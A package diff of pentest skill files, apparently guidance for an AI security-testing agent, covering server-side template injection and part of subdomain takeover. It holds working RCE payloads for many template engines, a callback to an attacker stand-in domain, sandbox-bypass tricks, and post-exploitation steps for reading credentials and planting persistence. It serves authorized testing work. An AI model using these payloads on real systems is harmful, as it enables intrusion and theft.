@gpzhang2001/sharpkit-skills 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +12 -0
- package/THIRD_PARTY_NOTICES.md +48 -0
- package/lib/index.d.ts +2027 -0
- package/lib/index.d.ts.map +1 -0
- package/lib/index.js +70 -0
- package/lib/index.js.map +1 -0
- package/package.json +46 -0
- package/skills/analysis/counterevidence.md +185 -0
- package/skills/analysis/fix_verification.md +129 -0
- package/skills/analysis/severity_calibration.md +130 -0
- package/skills/analysis/source_aware_discovery.md +211 -0
- package/skills/cloud/aws.md +231 -0
- package/skills/cloud/azure.md +262 -0
- package/skills/cloud/gcp.md +194 -0
- package/skills/cloud/kubernetes.md +223 -0
- package/skills/coordination/root_agent.md +105 -0
- package/skills/coordination/source_aware_whitebox.md +47 -0
- package/skills/custom/api_spec_testing.md +61 -0
- package/skills/custom/dependency_cve_scanning.md +341 -0
- package/skills/custom/npx_confusion.md +233 -0
- package/skills/custom/source_aware_sast.md +192 -0
- package/skills/frameworks/django.md +214 -0
- package/skills/frameworks/fastapi.md +191 -0
- package/skills/frameworks/nestjs.md +225 -0
- package/skills/frameworks/nextjs.md +228 -0
- package/skills/protocols/graphql.md +276 -0
- package/skills/protocols/oauth.md +185 -0
- package/skills/reconnaissance/asset_discovery.md +150 -0
- package/skills/reconnaissance/infrastructure_lifecycle.md +226 -0
- package/skills/scan_modes/deep.md +164 -0
- package/skills/scan_modes/diff.md +86 -0
- package/skills/scan_modes/quick.md +68 -0
- package/skills/scan_modes/standard.md +99 -0
- package/skills/technologies/active_directory.md +233 -0
- package/skills/technologies/auth0.md +188 -0
- package/skills/technologies/electron_desktop_apps.md +181 -0
- package/skills/technologies/firebase.md +263 -0
- package/skills/technologies/grafana_prometheus.md +189 -0
- package/skills/technologies/llm_applications.md +257 -0
- package/skills/technologies/supabase.md +268 -0
- package/skills/tooling/agent_browser.md +551 -0
- package/skills/tooling/ffuf.md +72 -0
- package/skills/tooling/httpx.md +82 -0
- package/skills/tooling/hurl.md +99 -0
- package/skills/tooling/hypothesis.md +100 -0
- package/skills/tooling/katana.md +102 -0
- package/skills/tooling/naabu.md +68 -0
- package/skills/tooling/nmap.md +66 -0
- package/skills/tooling/nuclei.md +67 -0
- package/skills/tooling/python.md +109 -0
- package/skills/tooling/semgrep.md +72 -0
- package/skills/tooling/sqlmap.md +67 -0
- package/skills/tooling/subfinder.md +66 -0
- package/skills/vulnerabilities/agentic_system_security.md +207 -0
- package/skills/vulnerabilities/argument_injection.md +157 -0
- package/skills/vulnerabilities/authentication_jwt.md +166 -0
- package/skills/vulnerabilities/broken_function_level_authorization.md +154 -0
- package/skills/vulnerabilities/browser_security.md +192 -0
- package/skills/vulnerabilities/business_logic.md +178 -0
- package/skills/vulnerabilities/csrf.md +198 -0
- package/skills/vulnerabilities/header_injection.md +216 -0
- package/skills/vulnerabilities/http_request_smuggling.md +255 -0
- package/skills/vulnerabilities/idor.md +217 -0
- package/skills/vulnerabilities/information_disclosure.md +187 -0
- package/skills/vulnerabilities/insecure_deserialization.md +210 -0
- package/skills/vulnerabilities/insecure_file_uploads.md +194 -0
- package/skills/vulnerabilities/llm_prompt_injection.md +187 -0
- package/skills/vulnerabilities/mass_assignment.md +153 -0
- package/skills/vulnerabilities/nosql_injection.md +288 -0
- package/skills/vulnerabilities/open_redirect.md +165 -0
- package/skills/vulnerabilities/path_traversal_lfi_rfi.md +218 -0
- package/skills/vulnerabilities/prototype_pollution.md +142 -0
- package/skills/vulnerabilities/race_conditions.md +181 -0
- package/skills/vulnerabilities/rce.md +250 -0
- package/skills/vulnerabilities/semantic_confusion.md +189 -0
- package/skills/vulnerabilities/sql_injection.md +190 -0
- package/skills/vulnerabilities/ssrf.md +186 -0
- package/skills/vulnerabilities/ssti.md +270 -0
- package/skills/vulnerabilities/subdomain_takeover.md +167 -0
- package/skills/vulnerabilities/weak_password_detection.md +200 -0
- package/skills/vulnerabilities/xss.md +206 -0
- package/skills/vulnerabilities/xxe.md +223 -0
- package/src/index.ts +89 -0
|
@@ -0,0 +1,270 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: ssti
|
|
3
|
+
description: Server-side template injection across Jinja / Mako / Velocity / Freemarker / Thymeleaf / Twig / Handlebars / EJS / ERB with engine fingerprinting, sandbox escape, and RCE gadget chains
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Server-Side Template Injection
|
|
7
|
+
|
|
8
|
+
SSTI happens when user input reaches a template engine as syntax instead of as data — `{{user_input}}` rendered through Jinja, `${user_input}` through Velocity / SpEL, `<%= user_input %>` through ERB / EJS. The eventual impact is almost always RCE because template engines are designed to evaluate expressions and most leak access to the host language's runtime (Python builtins, Java reflection, JavaScript prototypes). The discovery cost is low — a `{{7*7}}` probe — but the gadget chain to RCE differs sharply per engine, so engine fingerprinting is the load-bearing step.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Input shapes that reach the renderer**
|
|
13
|
+
- Form fields, query / path / header values, cookies, JSON / GraphQL variables
|
|
14
|
+
- Filenames and file metadata processed by document / report templates
|
|
15
|
+
- Email subject / body / template-selector fields
|
|
16
|
+
- Theme / customization endpoints (CSS / HTML generation, dashboard widgets, webhook payload templates)
|
|
17
|
+
- Markdown / WYSIWYG content rendered through a templating layer downstream
|
|
18
|
+
|
|
19
|
+
**Code patterns that enable injection**
|
|
20
|
+
- User input concatenated into a template string before `render(template_str)` instead of passed as a context variable to `render(template_obj, context)`
|
|
21
|
+
- "Template editor" features for tenants / admins where the *template itself* is user-controllable
|
|
22
|
+
- `format()` / `sprintf()` / printf-style chains with user-controlled format string downstream of a template
|
|
23
|
+
- YAML / TOML / JSON values whose strings are later evaluated through a template
|
|
24
|
+
|
|
25
|
+
**Engines in scope**
|
|
26
|
+
- Python: Jinja2, Mako, Django (limited)
|
|
27
|
+
- Java: Velocity, Freemarker, Thymeleaf (with SpEL), JSP EL
|
|
28
|
+
- JS / Node: Handlebars, Nunjucks, EJS, Pug, Marko, Dust
|
|
29
|
+
- Ruby: ERB, Haml, Slim
|
|
30
|
+
- PHP: Twig, Smarty, Blade
|
|
31
|
+
- .NET: Razor, RazorEngine
|
|
32
|
+
|
|
33
|
+
## High-Value Targets
|
|
34
|
+
|
|
35
|
+
- Email rendering pipelines (subject / body / "from" templates)
|
|
36
|
+
- PDF / report generators (server-side render → headless browser)
|
|
37
|
+
- CMS theme and plugin editors
|
|
38
|
+
- Webhook and notification payload templates
|
|
39
|
+
- API response formatters that interpolate strings (pagination labels, error messages, custom field renders)
|
|
40
|
+
- Admin / tenant template editors — explicit "edit your template" features
|
|
41
|
+
|
|
42
|
+
## Reconnaissance
|
|
43
|
+
|
|
44
|
+
### Injection Points
|
|
45
|
+
|
|
46
|
+
- Submit a benign string and grep responses (HTML, JSON, emails, PDFs) for verbatim reflection
|
|
47
|
+
- Anywhere user input ends up in a value that's clearly being templated (preview panes, "your message will look like…" panels) is high-signal
|
|
48
|
+
- Check error pages — many engines leak template syntax in stack traces
|
|
49
|
+
|
|
50
|
+
### Engine Fingerprinting
|
|
51
|
+
|
|
52
|
+
The classic differential probe — most engines evaluate exactly one of these, identifying themselves:
|
|
53
|
+
|
|
54
|
+
| Probe | Renders to | Engine family |
|
|
55
|
+
|---|---|---|
|
|
56
|
+
| `{{7*7}}` | `49` | Jinja2 / Twig / Nunjucks |
|
|
57
|
+
| `{{7*'7'}}` | `7777777` (Jinja) or `49` (Twig) | distinguishes Jinja from Twig |
|
|
58
|
+
| `${7*7}` | `49` | Velocity / Freemarker / SpEL / JSP EL / Thymeleaf |
|
|
59
|
+
| `<%= 7*7 %>` | `49` | ERB / EJS |
|
|
60
|
+
| `#{7*7}` | `49` | Pug / some Ruby contexts |
|
|
61
|
+
| `{{= 7*7 }}` | `49` | doT.js |
|
|
62
|
+
|
|
63
|
+
For Thymeleaf specifically, the `*{...}` selection-expression form also evaluates but only inside a `th:object` scope; `${...}` is the universal probe.
|
|
64
|
+
|
|
65
|
+
Secondary signals: error message text (engine name in stack trace), comment-syntax differential (`{# #}` Jinja vs `<%# %>` ERB vs `{* *}` Smarty), filter syntax (`|` vs `:` vs space).
|
|
66
|
+
|
|
67
|
+
### Blind Probes
|
|
68
|
+
|
|
69
|
+
When output isn't reflected:
|
|
70
|
+
|
|
71
|
+
- **Time-based**: payload that triggers a sleep on the host language (`{{''.__class__.__mro__[1].__subclasses__()[<idx>](...)}}` for Jinja, `${T(java.lang.Thread).sleep(5000)}` for SpEL, `<%= sleep(5) %>` for ERB)
|
|
72
|
+
- **OAST**: payload that performs a DNS lookup or HTTP fetch to attacker infrastructure (`{{request.application.__globals__.__builtins__.__import__('socket').gethostbyname('x.attacker.tld')}}`)
|
|
73
|
+
- **Length / ETag diff**: payload whose evaluation changes the body length, even if the value isn't directly visible
|
|
74
|
+
|
|
75
|
+
## Key Vulnerabilities
|
|
76
|
+
|
|
77
|
+
### Jinja2 / Mako (Python)
|
|
78
|
+
|
|
79
|
+
The classic Python class walk — every object exposes its method-resolution-order, which leads to `object`, which exposes every subclass loaded in the interpreter, which includes things like `subprocess.Popen`:
|
|
80
|
+
|
|
81
|
+
```jinja
|
|
82
|
+
{{''.__class__.__mro__[1].__subclasses__()}}
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
Locate a useful subclass and call it. Common gadgets when builtins are reachable through globals:
|
|
86
|
+
|
|
87
|
+
```jinja
|
|
88
|
+
{{cycler.__init__.__globals__.os.popen('id').read()}}
|
|
89
|
+
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
|
90
|
+
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
Sandbox bypass: even with `SandboxedEnvironment`, attribute-lookup tricks (`|attr('__class__')`) and `request.environ` access can re-introduce reachability. Check whether the app exposes `request`, `config`, `cycler`, or any framework global into the template context.
|
|
94
|
+
|
|
95
|
+
### Velocity / Freemarker / Thymeleaf (Java)
|
|
96
|
+
|
|
97
|
+
SpEL (Spring Expression Language) — used by Thymeleaf and various Spring components — reaches `Runtime` via the `T()` type operator. Note that `Runtime.exec()` returns a `java.lang.Process` object whose `toString()` is `"Process[pid=...]"`, **not** the command's stdout. To get reflected output you need to consume the process's `InputStream`:
|
|
98
|
+
|
|
99
|
+
```spel
|
|
100
|
+
${T(java.lang.Runtime).getRuntime().exec('id')}
|
|
101
|
+
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}
|
|
102
|
+
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
The first form confirms execution (rendered Process object proves the call ran); the Scanner form is universally available; the `IOUtils` form is shorter when Apache Commons IO is on the classpath. For blind contexts, validate via OAST or sleep.
|
|
106
|
+
|
|
107
|
+
Freemarker's `freemarker.template.utility.Execute` is the canonical RCE gadget when not denylisted, and unlike `Runtime.exec` it returns the command output as a string directly:
|
|
108
|
+
|
|
109
|
+
```freemarker
|
|
110
|
+
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
Velocity gadgets typically don't have `$Runtime` in context — that's not a standard Velocity built-in. The portable approach is string-class reflection from any reachable object:
|
|
114
|
+
|
|
115
|
+
```velocity
|
|
116
|
+
#set($s = "")
|
|
117
|
+
#set($r = $s.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
|
|
118
|
+
$r.exec("id")
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
This requires the default `UberspectImpl` (Velocity 1.x and Velocity 2.x without `SecureUberspector`); same `Process.toString()` caveat applies — capture stdout via `Scanner` or `BufferedReader` if reflected output is needed. If the application uses Velocity Tools, `$class` (a `ClassTool`) is often in scope and shortens the chain considerably.
|
|
122
|
+
|
|
123
|
+
Thymeleaf SSTI requires control over the *template source*, not just over a model variable bound into the template — normal Spring MVC binding renders `${userInput}` as a value, never re-evaluated as SpEL. The exploitable surface is `templateEngine.process(userControlledString, ctx)`, admin-editable email / notification templates, and template fragments composed from user input. When that surface exists, the same SpEL payloads apply:
|
|
124
|
+
|
|
125
|
+
```html
|
|
126
|
+
<div th:utext="${T(java.lang.Runtime).getRuntime().exec('id')}"></div>
|
|
127
|
+
<div th:utext="${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}"></div>
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
Confusing this with normal model binding produces false positives — confirm the template source itself is attacker-influenced before flagging.
|
|
131
|
+
|
|
132
|
+
### Smarty / Twig / Blade (PHP)
|
|
133
|
+
|
|
134
|
+
Twig sandbox bypasses are version-specific. The canonical historical gadget (Twig 1.x) registered `system` as an undefined-filter callback, then invoked it through the filter pipeline:
|
|
135
|
+
|
|
136
|
+
```twig
|
|
137
|
+
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
This was patched — in Twig 2.x / 3.x `_self` returns the template name as a string and no longer exposes `.env`. Modern bypasses depend on which extensions are loaded and the active sandbox policy; consult Twig's published security advisories for the current state and probe with the version-specific gadgets (filter/function abuse, reflection on `_context` in some configs).
|
|
141
|
+
|
|
142
|
+
Smarty `{php}...{/php}` was the historical RCE primitive; deprecated in Smarty 3 and removed in 4. On modern Smarty, the surface is static-method invocation and template-object reflection — `{$smarty.template_object->smarty->...}` walks back to the Smarty engine, and direct static calls on whitelisted classes (e.g. `{Smarty_Internal_Write_File::writeFile(...)}` on misconfigured installs) reach the filesystem. Probe both before assuming Smarty is hardened.
|
|
143
|
+
|
|
144
|
+
Blade (Laravel) compiles templates to PHP on first render and caches the compiled output, so the dangerous paths are runtime: `Blade::render($userControlledString, ...)`, `Blade::compileString(...)` with user input, or any reachable `@php ... @endphp` block whose body is composed from user input — all three are direct RCE.
|
|
145
|
+
|
|
146
|
+
### ERB / Haml (Ruby)
|
|
147
|
+
|
|
148
|
+
Direct Ruby evaluation — backticks are the shortest path that *reflects* command output:
|
|
149
|
+
|
|
150
|
+
```erb
|
|
151
|
+
<%= `id` %>
|
|
152
|
+
<%= IO.popen('id').read %>
|
|
153
|
+
<% require 'open3'; out, _ = Open3.capture2('id'); %><%= out %>
|
|
154
|
+
<%= system('id') %>
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
The first three render the command's stdout into the response. `system('id')` returns `true`/`false` and prints the command output to the *server's* stdout, not the HTTP body — useful for confirming execution succeeded but not for capturing output. Pair with OAST or a side-effect (file write, DNS lookup) when the response doesn't reflect anything.
|
|
158
|
+
|
|
159
|
+
Haml is the same risk surface in different syntax. `instance_eval` / `class_eval` chained off any reachable object becomes RCE.
|
|
160
|
+
|
|
161
|
+
### Handlebars / Nunjucks / EJS (JavaScript)
|
|
162
|
+
|
|
163
|
+
EJS evaluates inline JavaScript:
|
|
164
|
+
|
|
165
|
+
```ejs
|
|
166
|
+
<%= require('child_process').execSync('id').toString() %>
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
Nunjucks via constructor walk on reachable objects:
|
|
170
|
+
|
|
171
|
+
```nunjucks
|
|
172
|
+
{{range.constructor("return require('child_process').execSync('id')")()}}
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
Handlebars itself is harder (default helpers are restricted), but custom helpers that pass arguments to `eval`, `Function`, or `child_process` re-open the surface. Also probe for prototype pollution as an SSTI amplifier — once `Object.prototype` is polluted, downstream template logic may execute attacker-controlled code paths.
|
|
176
|
+
|
|
177
|
+
## Bypass Techniques
|
|
178
|
+
|
|
179
|
+
**Sandbox escape — generic patterns**
|
|
180
|
+
- **Attribute lookup instead of direct access**: `{{x.__class__}}` blocked? try `{{x|attr('__class__')}}`
|
|
181
|
+
- **Class walk to recover deleted builtins**: `{{[].__class__.__base__.__subclasses__()}}` enumerates everything loaded
|
|
182
|
+
- **String constructor games**: `'__import__'.__class__` etc., when literal `__import__` is filtered
|
|
183
|
+
- **Filter / function aliasing**: same callable reachable via different names — find one not on the denylist
|
|
184
|
+
- **Implicit conversion**: object whose `__str__` / `toString` triggers code, coerced via concatenation
|
|
185
|
+
|
|
186
|
+
**Filter and parser evasion**
|
|
187
|
+
- Whitespace / case variants in keywords: `{{7 *7}}`, `{{ 7*7 }}`, `{{7*7}}`
|
|
188
|
+
- String concatenation to assemble denylisted identifiers: `{{('__cl'+'ass__')}}`, `{{request|attr('__cl'~'ass__')}}` — splits a token without a comment (Jinja's lexer doesn't recognize `{#` inside expression mode, so SQL-style `/**/` token splitting doesn't work here)
|
|
189
|
+
- Encoding layering: payload arrives URL-encoded, JSON-decoded, then template-rendered — pick the encoding that survives the filter but is decoded before render
|
|
190
|
+
- Operator precedence games: `((7)*(7))`, `7**7`, `7+0+7`
|
|
191
|
+
- Null byte truncation: `{{x%00.evil}}` — terminates payload for some pre-template filters but not the template parser
|
|
192
|
+
- Unicode normalization: smart quotes, fullwidth digits — bypasses naive denylists, normalizes back during render
|
|
193
|
+
|
|
194
|
+
**Polyglot and chained evaluation**
|
|
195
|
+
- Multi-engine pipelines: output of engine A feeds engine B — craft payload valid in both, or escape A and inject for B
|
|
196
|
+
- Markdown / RST embedded in a template — Markdown parser may strip your payload, but a code block survives and reaches the template
|
|
197
|
+
- Format string → template: printf-style format applied before template render; payload that's inert as a format string but live as a template
|
|
198
|
+
|
|
199
|
+
## RCE Primitives
|
|
200
|
+
|
|
201
|
+
**Direct command execution by language**
|
|
202
|
+
- Python: `os.system`, `os.popen`, `subprocess.run`, `subprocess.Popen`, `__import__('os').system`
|
|
203
|
+
- Java: `Runtime.getRuntime().exec`, `ProcessBuilder`, `freemarker.template.utility.Execute`
|
|
204
|
+
- Ruby: backticks, `system`, `exec`, `Open3.capture2`, `IO.popen`, `%x{}`
|
|
205
|
+
- JavaScript / Node: `require('child_process').execSync` / `exec` / `spawn`; `require.main.require(...)` when nested module loading is needed (`process.mainModule` is the older form, deprecated since Node 14 but still present in most CJS contexts)
|
|
206
|
+
- PHP: `system`, `passthru`, `exec`, `shell_exec`, backticks, `popen`
|
|
207
|
+
|
|
208
|
+
**Indirect / second-stage**
|
|
209
|
+
- File write to webroot → trigger via subsequent HTTP request (when shell exec is blocked but file write isn't)
|
|
210
|
+
- Define a function / macro inline that runs on next render
|
|
211
|
+
- Unsafe deserialization gadget invoked through template (Java `ObjectInputStream`, Python `pickle`, PHP `unserialize`)
|
|
212
|
+
- DNS / HTTP exfiltration when shell exec produces no observable output
|
|
213
|
+
|
|
214
|
+
## Post-Exploitation
|
|
215
|
+
|
|
216
|
+
- Environment dump (`env`, `os.environ`, `System.getenv`) — credentials, cloud metadata tokens, internal URLs
|
|
217
|
+
- Cloud metadata fetch (`http://169.254.169.254/latest/meta-data/`, `http://metadata.google.internal/`) — IAM tokens
|
|
218
|
+
- Read filesystem secrets (`.env`, `.aws/credentials`, `~/.ssh/`, `/proc/self/environ`)
|
|
219
|
+
- Lateral via internal HTTP — service mesh endpoints reachable from the rendering host
|
|
220
|
+
- Persistence: cron, scheduled task, systemd unit, `~/.ssh/authorized_keys`, web shell in webroot
|
|
221
|
+
|
|
222
|
+
## Testing Methodology
|
|
223
|
+
|
|
224
|
+
1. **Find templated input** — anywhere a server clearly templated user input (preview panes, email previews, dynamic dashboards, custom fields)
|
|
225
|
+
2. **Fingerprint the engine** — run the differential probe table; confirm with a second probe
|
|
226
|
+
3. **Confirm evaluation, not reflection** — `{{7*7}}` rendering as `49` (not `{{7*7}}` literally) is the line between XSS and SSTI
|
|
227
|
+
4. **Probe sandbox state** — try `{{self}}`, `{{config}}`, `{{request}}`, `{{cycler}}` (Jinja); `${self}`, `${T(java.lang.Class)}` (Java); `<%= self %>` (Ruby) — reachable globals are the gadget pool
|
|
228
|
+
5. **Enumerate gadgets** — class walk for Python / Node, reflection for Java, `require` chain for Node
|
|
229
|
+
6. **Reach RCE** — pick the shortest gadget chain to a shell-equivalent primitive
|
|
230
|
+
7. **Validate side effects** — DNS callback, file write, sleep — anything observable that proves execution
|
|
231
|
+
|
|
232
|
+
## Validation
|
|
233
|
+
|
|
234
|
+
1. Show evaluated output for two distinct expressions (`{{7*7}}` → `49` and `{{7*8}}` → `56`) to rule out coincidence or hard-coded reflection
|
|
235
|
+
2. Demonstrate object access (`{{self.__class__}}`, `${T(java.lang.Class)}`) confirming runtime reflection
|
|
236
|
+
3. Demonstrate side effect — DNS lookup to attacker-controlled domain, sleep with measurable delta, file written to a known path
|
|
237
|
+
4. For RCE: command output captured in response, file written, or OAST callback containing command output
|
|
238
|
+
5. Provide minimal payload — the simplest expression that reaches RCE, not the kitchen-sink polyglot
|
|
239
|
+
|
|
240
|
+
## False Positives
|
|
241
|
+
|
|
242
|
+
- Template syntax reflected literally (`{{7*7}}` rendered as `{{7*7}}`) — that's XSS-shaped, not SSTI
|
|
243
|
+
- Sandboxed environments where reflection succeeds but reachable objects expose nothing useful (Jinja `SandboxedEnvironment` with no `request` / `config` in context)
|
|
244
|
+
- Client-side template engines (Vue, Angular, Mustache running in the browser) — that's client-side template injection, different impact (XSS, not RCE)
|
|
245
|
+
- Markdown / static-site generators that template at build time only, with no user input reaching the build
|
|
246
|
+
- Engines where the output is HTML-escaped before display, masking evaluation as XSS-like reflection — verify with a non-HTML probe (`{{7*7}}` numeric)
|
|
247
|
+
|
|
248
|
+
## Impact
|
|
249
|
+
|
|
250
|
+
- Remote code execution on the rendering host (the default outcome — almost every engine leaks a path to it)
|
|
251
|
+
- Server-side data exfiltration via gadget chains (filesystem, env vars, internal HTTP)
|
|
252
|
+
- Cloud credential theft via metadata service access from the compromised host
|
|
253
|
+
- Lateral movement into internal services reachable from the renderer
|
|
254
|
+
- Persistent backdoor via web shell or service-account key planting
|
|
255
|
+
- Build / supply-chain compromise when the templated content is a build artifact
|
|
256
|
+
|
|
257
|
+
## Pro Tips
|
|
258
|
+
|
|
259
|
+
1. Always confirm with a second math probe (`{{7*8}}`) before celebrating — single-shot reflection of `49` could be coincidental
|
|
260
|
+
2. Engine fingerprint first, gadget chain second — wrong-engine payloads are wasted requests and noise in WAF logs
|
|
261
|
+
3. For Jinja, the highest-yield reachable global varies by framework (`request` in Flask, `config` always present, `cycler` in older Jinja); spray all three before walking subclasses
|
|
262
|
+
4. SpEL is everywhere in Spring stacks — Thymeleaf, Spring Security expression language, Spring Cloud Gateway routes; the same payload shape (`${T(java.lang.Runtime)...}`) works across all of them
|
|
263
|
+
5. EJS / Nunjucks are common in Express / Koa apps — `require('child_process').execSync('id')` if `require` is in scope (EJS), or escape via `range.constructor("return require('child_process')...")()` for Nunjucks; `process.mainModule.require(...)` is the older form, deprecated since Node 14
|
|
264
|
+
6. Sandbox escapes are usually one indirection away — `attr` lookup, constructor traversal, MRO walk; most "sandboxed" environments still reach the runtime if you go through attribute access instead of direct reference
|
|
265
|
+
7. Output not reflected? Time-based and OAST work as well as for SQLi — `${T(java.lang.Thread).sleep(5000)}` for SpEL, `{{cycler.__init__.__globals__.__import__('time').sleep(5)}}` (or the `request.application.__globals__.__builtins__` walk in Flask) for Jinja — bare `__import__` is not in the template namespace and will raise `UndefinedError`
|
|
266
|
+
8. Email previews and PDF generators are gold mines — they're often built on the same engine as the public site but exposed to less-validated input flows
|
|
267
|
+
|
|
268
|
+
## Summary
|
|
269
|
+
|
|
270
|
+
SSTI is fundamentally different from XSS at the same syntactic location: the payload runs on the server, in the host language, with whatever objects the engine exposes. Engine fingerprinting via the math-probe table narrows the search space immediately. From there it's a race between the sandbox's denylist and the language's reflection capability — and the language usually wins. Treat any user input that reaches a template renderer (not a templated context variable) as RCE-shaped until proven sandboxed.
|
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: subdomain-takeover
|
|
3
|
+
description: Subdomain takeover testing for dangling DNS records and unclaimed cloud resources
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Subdomain Takeover
|
|
7
|
+
|
|
8
|
+
Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
|
|
9
|
+
|
|
10
|
+
Use `infrastructure_lifecycle` instead for expired registrable domains, MX/recovery identity, update/control endpoints, or long-lived software consumers. Provider error fingerprints are leads; confirm current claimability and custom-domain ownership requirements from authoritative provider behavior/documentation.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
|
|
15
|
+
- Orphaned NS delegations (child zones with abandoned/expired nameservers)
|
|
16
|
+
- Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
|
|
17
|
+
- CDN "alternate domain" mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
|
|
18
|
+
- Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
|
|
19
|
+
|
|
20
|
+
## Reconnaissance
|
|
21
|
+
|
|
22
|
+
### Enumeration Pipeline
|
|
23
|
+
|
|
24
|
+
- Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs
|
|
25
|
+
- Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx
|
|
26
|
+
- Record graph: build a CNAME graph and collapse chains to identify external endpoints
|
|
27
|
+
|
|
28
|
+
### DNS Indicators
|
|
29
|
+
|
|
30
|
+
- CNAME targets ending in provider domains: `github.io`, `amazonaws.com`, `cloudfront.net`, `azurewebsites.net`, `blob.core.windows.net`, `fastly.net`, `vercel.app`, `netlify.app`, `herokudns.com`, `trafficmanager.net`, `azureedge.net`, `akamaized.net`
|
|
31
|
+
- Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers
|
|
32
|
+
- MX to third-party mail providers with decommissioned domains
|
|
33
|
+
- TXT/verification artifacts (`asuid`, `_dnsauth`, `_github-pages-challenge`) suggesting previous external bindings
|
|
34
|
+
|
|
35
|
+
### HTTP Fingerprints
|
|
36
|
+
|
|
37
|
+
Service-specific unclaimed messages (examples):
|
|
38
|
+
- **GitHub Pages**: "There isn't a GitHub Pages site here."
|
|
39
|
+
- **Fastly**: "Fastly error: unknown domain"
|
|
40
|
+
- **Heroku**: "No such app" or "There's nothing here, yet."
|
|
41
|
+
- **S3 static site**: "NoSuchBucket" / "The specified bucket does not exist"
|
|
42
|
+
- **CloudFront**: 403/400 with "The request could not be satisfied"
|
|
43
|
+
- **Azure App Service**: default 404 for azurewebsites.net unless custom-domain verified
|
|
44
|
+
- **Shopify**: "Sorry, this shop is currently unavailable"
|
|
45
|
+
|
|
46
|
+
TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain
|
|
47
|
+
|
|
48
|
+
## Key Vulnerabilities
|
|
49
|
+
|
|
50
|
+
### Claim Third-Party Resource
|
|
51
|
+
|
|
52
|
+
- Create the resource with the exact required name:
|
|
53
|
+
- Storage/hosting: S3 bucket "sub.example.com" (website endpoint)
|
|
54
|
+
- Pages hosting: create repo/site and add the custom domain
|
|
55
|
+
- Serverless/app hosting: create app/site matching the target hostname
|
|
56
|
+
|
|
57
|
+
### CDN Alternate Domains
|
|
58
|
+
|
|
59
|
+
- Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
|
|
60
|
+
- Upload a TLS cert or use managed cert issuance
|
|
61
|
+
|
|
62
|
+
### NS Delegation Takeover
|
|
63
|
+
|
|
64
|
+
- If a child zone is delegated to nameservers under an expired domain, register that domain and host authoritative NS
|
|
65
|
+
- Publish records to control all hosts under the delegated subzone
|
|
66
|
+
|
|
67
|
+
### Mail Surface
|
|
68
|
+
|
|
69
|
+
- If MX points to a decommissioned provider, takeover could enable email receipt for that subdomain
|
|
70
|
+
|
|
71
|
+
## Advanced Techniques
|
|
72
|
+
|
|
73
|
+
### Blind and Cache Channels
|
|
74
|
+
|
|
75
|
+
- CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured
|
|
76
|
+
- Cache poisoning: once taken over, exploit cache keys to persist malicious responses
|
|
77
|
+
|
|
78
|
+
### CT and TLS
|
|
79
|
+
|
|
80
|
+
- Use CT logs to detect unexpected certificate issuance for your subdomain
|
|
81
|
+
- For PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
|
|
82
|
+
|
|
83
|
+
### OAuth and Trust Chains
|
|
84
|
+
|
|
85
|
+
- If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, takeover elevates to account takeover or script injection
|
|
86
|
+
|
|
87
|
+
### Verification Gaps
|
|
88
|
+
|
|
89
|
+
- Look for providers that accept domain binding prior to TXT verification
|
|
90
|
+
- Race windows: re-claim resource names immediately after victim deletion
|
|
91
|
+
|
|
92
|
+
### Wildcards and Fallbacks
|
|
93
|
+
|
|
94
|
+
- Wildcard CNAMEs to providers may expose unbounded subdomains
|
|
95
|
+
- Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses
|
|
96
|
+
|
|
97
|
+
## Special Contexts
|
|
98
|
+
|
|
99
|
+
### Storage and Static
|
|
100
|
+
|
|
101
|
+
- S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname
|
|
102
|
+
